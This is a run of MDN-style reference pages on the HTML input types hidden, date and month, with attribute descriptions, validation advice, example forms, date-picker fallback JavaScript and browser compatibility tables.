[Forms (accessibility)](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/forms) * [HTML forms](https://developer.mozilla.org/en-US/docs/Learn/Forms) * The [`<button>`](../button) element * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls) html <input type="hidden"> <input type="hidden"> ===================== [`<input>`](../input) elements of type `hidden` let web developers include data that cannot be seen or modified by users when a form is submitted. For example, the ID of the content that is currently being ordered or edited, or a unique security token. Hidden inputs are completely invisible in the rendered page, and there is no way to make it visible in the page's content. **Note:** The [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) and [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) events do not apply to this input type. Hidden inputs cannot be focused even using JavaScript (e.g. `hiddenInput.focus()`). Value ----- The [`<input>`](../input) element's [`value`](../input#attr-value) attribute holds a string that contains the hidden data you want to include when the form is submitted to the server. This specifically can't be edited or seen by the user via the user interface, although you could edit the value via browser developer tools. **Warning:** While the value isn't displayed to the user in the page's content, it is visible—and can be edited—using any browser's developer tools or "View Source" functionality. Do not rely on `hidden` inputs as a form of security. Additional attributes --------------------- In addition to the attributes common to all [`<input>`](../input) elements, `hidden` inputs offer the following attributes. ### name This is actually one of the common attributes, but it has a special meaning available for hidden inputs. Normally, the [`name`](../input#attr-name) attribute functions on hidden inputs just like on any other input. However, when the form is submitted, a hidden input whose `name` is set to `_charset_` will automatically be reported with the value set to the character encoding used to submit the form. Using hidden inputs ------------------- As mentioned above, hidden inputs can be used anywhere that you want to include data the user can't see or edit along with the form when it's submitted to the server. Let's look at some examples that illustrate its use. ### Tracking edited content One of the most common uses for hidden inputs is to keep track of what database record needs to be updated when an edit form is submitted. A typical workflow looks like this: 1. User decides to edit some content they have control over, such as a blog post, or a product entry. They get started by pressing the edit button. 2. The content to be edited is taken from the database and loaded into an HTML form to allow the user to make changes. 3. After editing, the user submits the form, and the updated data is sent back to the server to be updated in the database. The idea here is that during step 2, the ID of the record being updated is kept in a hidden input. When the form is submitted in step 3, the ID is automatically sent back to the server with the record content. The ID lets the site's server-side component know exactly which record needs to be updated with the submitted data. You can see a full example of what this might look like in the [Examples](#examples) section below. ### Improving website security Hidden inputs are also used to store and submit security tokens or *secrets*, for the purposes of improving website security. The basic idea is that if a user is filling in a sensitive form, such as a form on their banking website to transfer some money to another account, the secret they would be provided with would prove that they are who they say they are, and that they are using the correct form to submit the transfer request. This would stop a malicious user from creating a fake form, pretending to be a bank, and emailing the form to unsuspecting users to trick them into transferring money to the wrong place. This kind of attack is called a [Cross Site Request Forgery (CSRF)](https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security#cross-site_request_forgery_(csrf)); pretty much any reputable server-side framework uses hidden secrets to prevent such attacks. **Note:** Placing the secret in a hidden input doesn't inherently make it secure. The key's composition and encoding would do that. The value of the hidden input is that it keeps the secret associated with the data and automatically includes it when the form is sent to the server. You need to use well-designed secrets to actually secure your website. Validation ---------- Hidden inputs don't participate in constraint validation; they have no real value to be constrained. Examples -------- Let's look at how we might implement a simple version of the edit form we described earlier (see [Tracking edited content](#tracking_edited_content)), using a hidden input to remember the ID of the record being edited. The edit form's HTML might look a bit like this: ``` <form> <div> <label for="title">Post title:</label> <input type="text" id="title" name="title" value="My excellent blog post" /> </div> <div> <label for="content">Post content:</label> <textarea id="content" name="content" cols="60" rows="5"> This is the content of my excellent blog post. I hope you enjoy it! </textarea> </div> <div> <button type="submit">Update post</button> </div> <input type="hidden" id="postId" name="postId" value="34657" /> </form> ``` Let's also add some simple CSS: ``` html { font-family: sans-serif; } form { width: 500px; } div { display: flex; margin-bottom: 10px; } label { flex: 2; line-height: 2; text-align: right; padding-right: 20px; } input, textarea { flex: 7; font-family: sans-serif; font-size: 1.1rem; padding: 5px; } textarea { height: 60px; } ``` The server would set the value of the hidden input with the ID "`postID`" to the ID of the post in its database before sending the form to the user's browser and would use that information when the form is returned to know which database record to update with modified information. No scripting is needed in the content to handle this. The output looks like this: **Note:** You can also find the example on GitHub (see the [source code](https://github.com/mdn/learning-area/blob/main/html/forms/hidden-input-example/index.html), and also [see it running live](https://mdn.github.io/learning-area/html/forms/hidden-input-example/index.html)). When submitted, the form data sent to the server will look something like this: `title=My+excellent+blog+post&content=This+is+the+content+of+my+excellent+blog+post.+I+hope+you+enjoy+it!&postId=34657` Even though the hidden input cannot be seen at all, its data is still submitted. Technical summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string representing the value of the hidden data you want to pass back to the server. | | **Events** | None. | | **Supported Common Attributes** | [`autocomplete`](../input#attr-autocomplete) | | **IDL attributes** | `value` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | None. | Specifications -------------- | Specification | | --- | | [HTML Standard # hidden-state-(type=hidden)](https://html.spec.whatwg.org/multipage/input.html#hidden-state-(type=hidden)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `hidden` | 1 | 12 | 1 | Yes | 2 | 1 | Yes | Yes | 4 | Yes | Yes | Yes | See also -------- * [HTML forms guide](https://developer.mozilla.org/en-US/docs/Learn/Forms) * [`<input>`](../input) and the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) interface it's based upon
programming_docs
html <input type="date"> <input type="date"> =================== [`<input>`](../input) elements of `type="date"` create input fields that let the user enter a date, either with a textbox that validates the input or a special date picker interface. The resulting value includes the year, month, and day, but *not* the time. The <time> and <datetime-local> input types support time and date+time input. Try it ------ The input UI generally varies from browser to browser; see [Browser compatibility](#browser_compatibility) for further details. In unsupported browsers, the control degrades gracefully to [`<input type="text">`](text). Value ----- A string representing the date entered in the input. The date is formatted according to ISO8601, described in [Date strings format](../../date_and_time_formats#date_strings). You can set a default value for the input with a date inside the [`value`](../input#attr-value) attribute, like so: ``` <input type="date" value="2017-06-01" /> ``` **Note:** The displayed date format will differ from the actual `value` — the displayed date is formatted *based on the locale of the user's browser*, but the parsed `value` is always formatted `yyyy-mm-dd`. You can get and set the date value in JavaScript with the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) `value` and `valueAsNumber` properties. For example: ``` const dateControl = document.querySelector('input[type="date"]'); dateControl.value = '2017-06-01'; console.log(dateControl.value); // prints "2017-06-01" console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript timestamp (ms) ``` This code finds the first [`<input>`](../input) element whose `type` is `date`, and sets its value to `2017-06-01` (June 1st, 2017). It then reads that value back in string and number formats. Additional attributes --------------------- The attributes common to all [`<input>`](../input) elements apply to the `date` inputs as well, but might not influence its presentation. For example `size` and `placeholder` might not work. `date` inputs have the following additional attributes. ### max The latest date to accept. If the [`value`](../input#attr-value) entered into the element occurs afterward, the element fails [constraint validation](../../constraint_validation). If the value of the `max` attribute isn't a possible date string in the format `yyyy-mm-dd`, then the element has no maximum date value. If both the `max` and `min` attributes are set, this value must be a date string **later than or equal to** the one in the `min` attribute. ### min The earliest date to accept. If the [`value`](../input#attr-value) entered into the element occurs beforehand, the element fails [constraint validation](../../constraint_validation). If the value of the `min` attribute isn't a possible date string in the format `yyyy-mm-dd`, then the element has no minimum date value. If both the `max` and `min` attributes are set, this value must be a date string **earlier than or equal to** the one in the `max` attribute. ### step The `step` attribute is a number that specifies the granularity that the value must adhere to, or the special value `any`, which is described below. Only values which are equal to the basis for stepping ([`min`](#min) if specified, [`value`](../input#attr-value) otherwise, and an appropriate default value if neither of those is provided) are valid. A string value of `any` means that no stepping is implied, and any value is allowed (barring other constraints, such as [`min`](#min) and [`max`](#max)). **Note:** When the data entered by the user doesn't adhere to the stepping configuration, the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options. For `date` inputs, the value of `step` is given in days; and is treated as a number of milliseconds equal to 86,400,000 times the `step` value (the underlying numeric value is in milliseconds). The default value of `step` is 1, indicating 1 day. **Note:** Specifying `any` as the value for `step` has the same effect as `1` for `date` inputs. Using date inputs ----------------- Date inputs provide an easy interface for choosing dates, and they normalize the data format sent to the server regardless of the user's locale. In this section, we'll look at basic and then more complex uses of `<input type="date">`. ### Basic uses of date The simplest use of `<input type="date">` involves one `<input>` combined with its [`<label>`](../label), as seen below: ``` <form action="https://example.com"> <label> Enter your birthday: <input type="date" name="bday" /> </label> <p><button>Submit</button></p> </form> ``` This HTML submits the entered date under the key `bday` to `https://example.com` — resulting in a URL like `https://example.com/?bday=1955-06-08`. ### Setting maximum and minimum dates You can use the [`min`](../input#attr-min) and [`max`](../input#attr-max) attributes to restrict the dates that can be chosen by the user. In the following example, we set a minimum date of `2017-04-01` and a maximum date of `2017-04-30`: ``` <form> <label> Choose your preferred party date: <input type="date" name="party" min="2017-04-01" max="2017-04-30" /> </label> </form> ``` The result is that only days in April 2017 can be selected — the month and year parts of the textbox will be uneditable, and dates outside April 2017 can't be selected in the picker widget. **Note:** You *should* be able to use the [`step`](../input#attr-step) attribute to vary the number of days jumped each time the date is incremented (e.g. to only make Saturdays selectable). However, this does not seem to be in any implementation at the time of writing. ### Controlling input size `<input type="date">` doesn't support form sizing attributes such as [`size`](../input#attr-size). Prefer [CSS](https://developer.mozilla.org/en-US/docs/Web/CSS) for sizing it. Validation ---------- By default, `<input type="date">` doesn't validate the entered value beyond its format. The interfaces generally don't let you enter anything that isn't a date — which is helpful — but you can leave the field empty or enter an invalid date in browsers where the input falls back to type `text` (like the 32nd of April). If you use [`min`](../input#attr-min) and [`max`](../input#attr-max) to restrict the available dates (see [Setting maximum and minimum dates](#setting_maximum_and_minimum_dates)), supporting browsers will display an error if you try to submit a date that is out of bounds. However, you'll need to double-check the submitted results to ensure the value is within these dates, if the date picker isn't fully supported on the user's device. You can also use the [`required`](../input#attr-required) attribute to make filling in the date mandatory — an error will be displayed if you try to submit an empty date field. This should work in most browsers, even if they fall back to a text input. Let's look at an example of minimum and maximum dates, and also made a field required: ``` <form> <label> Choose your preferred party date (required, April 1st to 20th): <input type="date" name="party" min="2017-04-01" max="2017-04-20" required /> <span class="validity"></span> </label> <p> <button>Submit</button> </p> </form> ``` If you try to submit the form with an incomplete date (or with a date outside the set bounds), the browser displays an error. Try playing with the example now: Here's the CSS used in the above example. We make use of the [`:valid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:valid) and [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) [pseudo-elements](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements) to add an icon next to the input, based on whether the current value is valid. We had to put the icon on a [`<span>`](../span) next to the input, not on the input itself, because in Chrome at least the input's generated content is placed inside the form control, and can't be styled or shown effectively. ``` label { display: flex; align-items: center; } span::after { padding-left: 5px; } input:invalid + span::after { content: "✖"; } input:valid + span::after { content: "✓"; } ``` **Warning:** Client-side form validation *is no substitute* for validating on the server. It's easy for someone to modify the HTML, or bypass your HTML entirely and submit the data directly to your server. If your server fails to validate the received data, disaster could strike with data that is badly-formatted, too large, of the wrong type, etc. Handling browser support ------------------------ Browsers that don't support this input type gracefully degrade to a text input, but this creates problems in consistency of user interface (the presented controls are different) and data handling. The second problem is the more serious one; with date input supported, the value is normalized to the format `yyyy-mm-dd`. But with a text input, the browser has no recognition of what format the date should be in, and there are many formats in which people write dates. For example: * `ddmmyyyy` * `dd/mm/yyyy` * `mm/dd/yyyy` * `dd-mm-yyyy` * `mm-dd-yyyy` * `Month dd, yyyy` One way around this is the [`pattern`](../input#attr-pattern) attribute on your date input. Even though the date picker doesn't use it, the text input fallback will. For example, try viewing the following in an unsupporting browser: ``` <form> <label> Enter your birthday: <input type="date" name="bday" required pattern="\d{4}-\d{2}-\d{2}" /> <span class="validity"></span> </label> <p> <button>Submit</button> </p> </form> ``` If you submit it, you'll see that the browser displays an error and highlights the input as invalid if your entry doesn't match the pattern `####-##-##` (where `#` is a digit from 0 to 9). Of course, this doesn't stop people from entering invalid dates, or incorrect formats. So we still have a problem. At the moment, the best way to deal with dates in forms in a cross-browser way is to have the user enter the day, month, and year in separate controls, or to use a JavaScript library such as [jQuery date picker](https://jqueryui.com/datepicker/). Examples -------- In this example, we create 2 sets of UI elements for choosing dates: a native `<input type="date">` picker and a set of 3 [`<select>`](../select) elements for older browsers that don't support the native date input. ### HTML The HTML looks like so: ``` <form> <div class="nativeDatePicker"> <label for="bday">Enter your birthday:</label> <input type="date" id="bday" name="bday" /> <span class="validity"></span> </div> <p class="fallbackLabel">Enter your birthday:</p> <div class="fallbackDatePicker"> <span> <label for="day">Day:</label> <select id="day" name="day"></select> </span> <span> <label for="month">Month:</label> <select id="month" name="month"> <option selected>January</option> <option>February</option> <option>March</option> <option>April</option> <option>May</option> <option>June</option> <option>July</option> <option>August</option> <option>September</option> <option>October</option> <option>November</option> <option>December</option> </select> </span> <span> <label for="year">Year:</label> <select id="year" name="year"></select> </span> </div> </form> ``` The months are hardcoded (as they are always the same), while the day and year values are dynamically generated depending on the currently selected month and year, and the current year (see the code comments below for detailed explanations of how these functions work.) ### JavaScript The other part of the code that may be of interest is the feature detection code — to detect whether the browser supports `<input type="date">`. We create a new [`<input>`](../input) element, try setting its `type` to `date`, then immediately check what its type is — unsupporting browsers will return `text`, because the `date` type falls back to type `text`. If `<input type="date">` isn't supported, we hide the native picker and show the fallback ([`<select>`](../select)) instead. ``` // Obtain UI widgets const nativePicker = document.querySelector('.nativeDatePicker'); const fallbackPicker = document.querySelector('.fallbackDatePicker'); const fallbackLabel = document.querySelector('.fallbackLabel'); const yearSelect = document.querySelector('#year'); const monthSelect = document.querySelector('#month'); const daySelect = document.querySelector('#day'); // hide fallback initially fallbackPicker.style.display = 'none'; fallbackLabel.style.display = 'none'; // test whether a new date input falls back to a text input or not const test = document.createElement('input'); try { test.type = 'date'; } catch (e) { console.log(e.message); } // if it does, run the code inside the if () {} block if (test.type === 'text') { // hide the native picker and show the fallback nativePicker.style.display = 'none'; fallbackPicker.style.display = 'block'; fallbackLabel.style.display = 'block'; // populate the days and years dynamically // (the months are always the same, therefore hardcoded) populateDays(monthSelect.value); populateYears(); } function populateDays(month) { // delete the current set of <option> elements out of the // day <select>, ready for the next set to be injected while (daySelect.firstChild) { daySelect.removeChild(daySelect.firstChild); } // Create variable to hold new number of days to inject let dayNum; // 31 or 30 days? if (['January', 'March', 'May', 'July', 'August', 'October', 'December'].includes(month)) { dayNum = 31; } else if (['April', 'June', 'September', 'November'].includes(month)) { dayNum = 30; } else { // If month is February, calculate whether it is a leap year or not const year = yearSelect.value; const isLeap = new Date(year, 1, 29).getMonth() === 1; dayNum = isLeap ? 29 : 28; } // inject the right number of new <option> elements into the day <select> for (let i = 1; i <= dayNum; i++) { const option = document.createElement('option'); option.textContent = i; daySelect.appendChild(option); } // if previous day has already been set, set daySelect's value // to that day, to avoid the day jumping back to 1 when you // change the year if (previousDay) { daySelect.value = previousDay; // If the previous day was set to a high number, say 31, and then // you chose a month with less total days in it (e.g. February), // this part of the code ensures that the highest day available // is selected, rather than showing a blank daySelect if (daySelect.value === "") { daySelect.value = previousDay - 1; } if (daySelect.value === "") { daySelect.value = previousDay - 2; } if (daySelect.value === "") { daySelect.value = previousDay - 3; } } } function populateYears() { // get this year as a number const date = new Date(); const year = date.getFullYear(); // Make this year, and the 100 years before it available in the year <select> for (let i = 0; i <= 100; i++) { const option = document.createElement('option'); option.textContent = year - i; yearSelect.appendChild(option); } } // when the month or year <select> values are changed, rerun populateDays() // in case the change affected the number of available days yearSelect.onchange = () => { populateDays(monthSelect.value); } monthSelect.onchange = () => { populateDays(monthSelect.value); } //preserve day selection let previousDay; // update what day has been set to previously // see end of populateDays() for usage daySelect.onchange = () => { previousDay = daySelect.value; } ``` **Note:** Remember that some years have 53 weeks in them (see [Weeks per year](https://en.wikipedia.org/wiki/ISO_week_date#Weeks_per_year))! You'll need to take this into consideration when developing production apps. Technical summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string representing a date in YYYY-MM-DD format, or empty | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported common attributes** | [`autocomplete`](../input#attr-autocomplete), [`list`](../input#attr-list), [`readonly`](../input#attr-readonly), and [`step`](../input#attr-step) | | **IDL attributes** | `list`, `value`, `valueAsDate`, `valueAsNumber`. | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select), [`stepDown()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/stepDown), [`stepUp()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/stepUp) | Specifications -------------- | Specification | | --- | | [HTML Standard # date-state-(type=date)](https://html.spec.whatwg.org/multipage/input.html#date-state-(type=date)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `date` | 20 | 12 | 57 | No | 11 | 14.1 | Yes | Yes | 57 | 11 | 5 | Yes | See also -------- * The generic [`<input>`](../input) element and the interface used to manipulate it, [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) * [Date and Time picker tutorial](https://developer.mozilla.org/en-US/docs/Learn/Forms/HTML5_input_types#date_and_time_pickers) * [Date and time formats used in HTML](../../date_and_time_formats) * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls) html <input type="month"> <input type="month"> ==================== [`<input>`](../input) elements of type `month` create input fields that let the user enter a month and year allowing a month and year to be easily entered. The value is a string whose value is in the format "`YYYY-MM`", where `YYYY` is the four-digit year and `MM` is the month number. Try it ------ The control's UI varies in general from browser to browser; at the moment support is patchy, with only Chrome/Opera and Edge on desktop — and most modern mobile browser versions — having usable implementations. In browsers that don't support `month` inputs, the control degrades gracefully to a simple [`<input type="text">`](text), although there may be automatic validation of the entered text to ensure it's formatted as expected. For those of you using a browser that doesn't support `month`, the screenshot below shows what it looks like in Chrome and Opera. Clicking the down arrow on the right-hand side brings up a date picker that lets you select the month and year. The Microsoft Edge `month` control looks like this: Value ----- A string representing the value of the month and year entered into the input, in the form YYYY-MM (four or more digit year, then a hyphen ("`-`"), followed by the two-digit month). The format of the month string used by this input type is described in [Format of a valid local month string](../../date_and_time_formats#format_of_a_valid_local_month_string) in [Date and time formats used in HTML](../../date_and_time_formats). ### Setting a default value You can set a default value for the input control by including a month and year inside the [`value`](../input#attr-value) attribute, like so: ``` <label for="bday-month">What month were you born in?</label> <input id="bday-month" type="month" name="bday-month" value="2001-06" /> ``` One thing to note is that the displayed date format differs from the actual `value`; most [user agents](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) display the month and year in a locale-appropriate form, based on the set locale of the user's operating system, whereas the date `value` is always formatted `yyyy-MM`. When the above value is submitted to the server, for example, it will look like `bday-month=1978-06`. ### Setting the value using JavaScript You can also get and set the date value in JavaScript using the `HTMLInputElement.value` property, for example: ``` <label for="bday-month">What month were you born in?</label> <input id="bday-month" type="month" name="bday-month" /> ``` ``` const monthControl = document.querySelector('input[type="month"]'); monthControl.value = '2001-06'; ``` Additional attributes --------------------- In addition to the attributes common to [`<input>`](../input) elements, month inputs offer the following attributes. ### list The values of the list attribute is the [`id`](https://developer.mozilla.org/en-US/docs/Web/API/Element/id) of a [`<datalist>`](../datalist) element located in the same document. The [`<datalist>`](../datalist) provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the [`type`](../input#attr-type) are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value. ### max The latest year and month, in the string format discussed in the [Value](#value) section above, to accept. If the [`value`](../input#attr-value) entered into the element exceeds this, the element fails [constraint validation](../../constraint_validation). If the value of the `max` attribute isn't a valid string in "`yyyy-MM`" format, then the element has no maximum value. This value must specify a year-month pairing later than or equal to the one specified by the `min` attribute. ### min The latest year and month to accept, in the same "`yyyy-MM`" format described above. If the [`value`](../input#attr-value) of the element is less than this, the element fails [constraint validation](../../constraint_validation). If a value is specified for `min` that isn't a valid year and month string, the input has no minimum value. This value must be a year-month pairing which is earlier than or equal to the one specified by the `max` attribute. ### readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its `value` can, however, still be changed from JavaScript code that directly sets the value of the `HTMLInputElement.value` property. **Note:** Because a read-only field cannot have a value, `required` does not have any effect on inputs with the `readonly` attribute also specified. ### step The `step` attribute is a number that specifies the granularity that the value must adhere to, or the special value `any`, which is described below. Only values which are equal to the basis for stepping ([`min`](#min) if specified, [`value`](../input#attr-value) otherwise, and an appropriate default value if neither of those is provided) are valid. A string value of `any` means that no stepping is implied, and any value is allowed (barring other constraints, such as [`min`](#min) and [`max`](#max)). **Note:** When the data entered by the user doesn't adhere to the stepping configuration, the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options. For `month` inputs, the value of `step` is given in months, with a scaling factor of 1 (since the underlying numeric value is also in months). The default value of `step` is 1 month. Using month inputs ------------------ Date-related inputs (including `month`) sound convenient at first glance; they promise an easy UI for choosing dates, and they normalize the data format sent to the server, regardless of the user's locale. However, there are issues with `<input type="month">` because at this time, many major browsers don't yet support it. We'll look at basic and more complex uses of `<input type="month">`, then offer advice on mitigating the browser support issue in the section [Handling browser support](#handling_browser_support)). ### Basic uses of month The simplest use of `<input type="month">` involves a basic [`<input>`](../input) and [`<label>`](../label) element combination, as seen below: ``` <form> <label for="bday-month">What month were you born in?</label> <input id="bday-month" type="month" name="bday-month" /> </form> ``` ### Setting maximum and minimum dates You can use the [`min`](../input#attr-min) and [`max`](../input#attr-max) attributes to restrict the range of dates that the user can choose. In the following example we specify a minimum month of `1900-01` and a maximum month of `2013-12`: ``` <form> <label for="bday-month">What month were you born in?</label> <input id="bday-month" type="month" name="bday-month" min="1900-01" max="2013-12" /> </form> ``` The result here is that: * Only months between in January 1900 and December 2013 can be selected; months outside that range can't be scrolled to in the control. * Depending on what browser you are using, you might find that months outside the specified range might not be selectable in the month picker (e.g. Edge), or invalid (see [Validation](#validation)) but still available (e.g. Chrome). ### Controlling input size `<input type="month">` doesn't support form sizing attributes such as [`size`](../input#attr-size). You'll have to resort to [CSS](https://developer.mozilla.org/en-US/docs/Web/CSS) for sizing needs. Validation ---------- By default, `<input type="month">` does not apply any validation to entered values. The UI implementations generally don't let you enter anything that isn't a date — which is helpful — but you can still submit the form with the `month` input empty, or enter an invalid date (e.g. the 32nd of April). To help avoid this, you can use [`min`](../input#attr-min) and [`max`](../input#attr-max) to restrict the available dates (see [Setting maximum and minimum dates](#setting_maximum_and_minimum_dates)), and in addition use the [`required`](../input#attr-required) attribute to make filling in the date mandatory. As a result, supporting browsers will display an error if you try to submit a date that is outside the set bounds, or an empty date field. Let's look at an example; here we've set minimum and maximum dates, and also made the field required: ``` <form> <div> <label for="month"> What month would you like to visit (June to Sept.)? </label> <input id="month" type="month" name="month" min="2022-06" max="2022-09" required /> <span class="validity"></span> </div> <div> <input type="submit" value="Submit form" /> </div> </form> ``` If you try to submit the form without both the month and year specified (or with a date outside the set bounds), the browser displays an error. Try playing with the example now: Here's a screenshot for those of you who aren't using a supporting browser: Here's the CSS used in the above example. Here we make use of the [`:valid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:valid) and [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) CSS properties to style the input based on whether the current value is valid. We had to put the icons on a [`<span>`](../span) next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively. ``` div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid + span::after { position: absolute; content: "✖"; padding-left: 5px; } input:valid + span::after { position: absolute; content: "✓"; padding-left: 5px; } ``` **Warning:** HTML form validation is *not* a substitute for scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, of the wrong type, and so forth). Handling browser support ------------------------ As mentioned above, the major problem with using date inputs at the time of writing is that many major browsers don't yet implement them all; only Chrome/Opera and Edge support it on desktop, and most modern browsers on mobile. As an example, the `month` picker on Chrome for Android looks like this: Non-supporting browsers gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling. The second problem is the more serious of the two. As mentioned earlier, with a `month` input the actual value is always normalized to the format `yyyy-mm`. On the other hand, in its default configuration, a `text` input has no idea what format the date should be in, and this is an issue because of the number of different ways in which people write dates. For example: * `mmyyyy` (072022) * `mm/yyyy` (07/2022) * `mm-yyyy` (07-2022) * `yyyy-mm` (2022-07) * `Month yyyy` (July 2022) * and so forth… One way around this is to put a [`pattern`](../input#attr-pattern) attribute on your `month` input. Even though the `month` input doesn't use it, if the browser falls back to treating it like a `text` input, the pattern will be used. For example, try viewing the following demo in a browser that doesn't support `month` inputs: ``` <form> <div> <label for="month"> What month would you like to visit (June to Sept.)? </label> <input id="month" type="month" name="month" min="2022-06" max="2022-09" required pattern="[0-9]{4}-[0-9]{2}" /> <span class="validity"></span> </div> <div> <input type="submit" value="Submit form" /> </div> </form> ``` If you try submitting it, you'll see that the browser now displays an error message (and highlights the input as invalid) if your entry doesn't match the pattern `nnnn-nn`, where `n` is a number from 0 to 9. Of course, this doesn't stop people from entering invalid dates (such as `0000-42`), or incorrectly formatted dates that follow the pattern. There's also the problem that the user won't necessarily know which of the many date formats is expected. We have work left to do. The best way to deal with dates in forms in a cross-browser way (until all major browsers have supported them for a while) is to get the user to enter the month and year in separate controls ([`<select>`](../select) elements being popular; see below for an implementation), or use JavaScript libraries such as the [jQuery date picker](https://jqueryui.com/datepicker/) plugin. Examples -------- In this example, we create two sets of UI elements, each designed to let the user select a month and year. The first is a native `month` input, and the other is a pair of [`<select>`](../select) elements that allow choosing a month and year independently, for compatibility with browsers that don't yet support `<input type="month">`. ### HTML The form that requests the month and year looks like this: ``` <form> <div class="nativeDatePicker"> <label for="month-visit">What month would you like to visit us?</label> <input type="month" id="month-visit" name="month-visit" /> <span class="validity"></span> </div> <p class="fallbackLabel">What month would you like to visit us?</p> <div class="fallbackDatePicker"> <div> <span> <label for="month">Month:</label> <select id="month" name="month"> <option selected>January</option> <option>February</option> <option>March</option> <option>April</option> <option>May</option> <option>June</option> <option>July</option> <option>August</option> <option>September</option> <option>October</option> <option>November</option> <option>December</option> </select> </span> <span> <label for="year">Year:</label> <select id="year" name="year"></select> </span> </div> </div> </form> ``` The [`<div>`](../div) with the ID `nativeDatePicker` uses the `month` input type to request the month and year, while the `<div>` with the ID `fallbackDatePicker` instead uses a pair of `<select>` elements. The first requests the month, and the second the year. The `<select>` for choosing the month is hardcoded with the names of the months, as they don't change (leaving localization out of things). The list of available year values is dynamically generated depending on the current year (see the code comments below for detailed explanations of how these functions work). ### JavaScript The JavaScript code that handles selecting which approach to use and to set up the list of years to include in the non-native year `<select>` follows. The part of the example that may be of most interest is the feature detection code. In order to detect whether the browser supports `<input type="month">`, we create a new [`<input>`](../input) element, try setting its `type` to `month`, then immediately check what its type is set to. Browsers that don't support type `month` will return `text`, since that's What month falls back to when not supported. If `<input type="month">` is not supported, we hide the native picker and show the fallback picker UI instead. ``` // Get UI elements const nativePicker = document.querySelector('.nativeDatePicker'); const fallbackPicker = document.querySelector('.fallbackDatePicker'); const fallbackLabel = document.querySelector('.fallbackLabel'); const yearSelect = document.querySelector('#year'); const monthSelect = document.querySelector('#month'); // Hide fallback initially fallbackPicker.style.display = 'none'; fallbackLabel.style.display = 'none'; // Test whether a new date input falls back to a text input or not const test = document.createElement('input'); try { test.type = 'month'; } catch (e) { console.log(e.description); } // If it does, run the code inside the if () {} block if (test.type === 'text') { // Hide the native picker and show the fallback nativePicker.style.display = 'none'; fallbackPicker.style.display = 'block'; fallbackLabel.style.display = 'block'; // Populate the years dynamically // (the months are always the same, therefore hardcoded) populateYears(); } function populateYears() { // Get the current year as a number const date = new Date(); const year = date.getFullYear(); // Make this year, and the 100 years before it available in the year <select> for (let i = 0; i <= 100; i++) { const option = document.createElement('option'); option.textContent = year - i; yearSelect.appendChild(option); } } ``` **Note:** Remember that some years have 53 weeks in them (see [Weeks per year](https://en.wikipedia.org/wiki/ISO_week_date#Weeks_per_year))! You'll need to take this into consideration when developing production apps. Technical summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string representing a month and year, or empty. | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported common attributes** | [`autocomplete`](../input#attr-autocomplete), [`list`](../input#attr-list), [`readonly`](../input#attr-readonly), and [`step`](../input#attr-step). | | **IDL attributes** | `value` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select), [`stepDown()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/stepDown), [`stepUp()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/stepUp). | Specifications 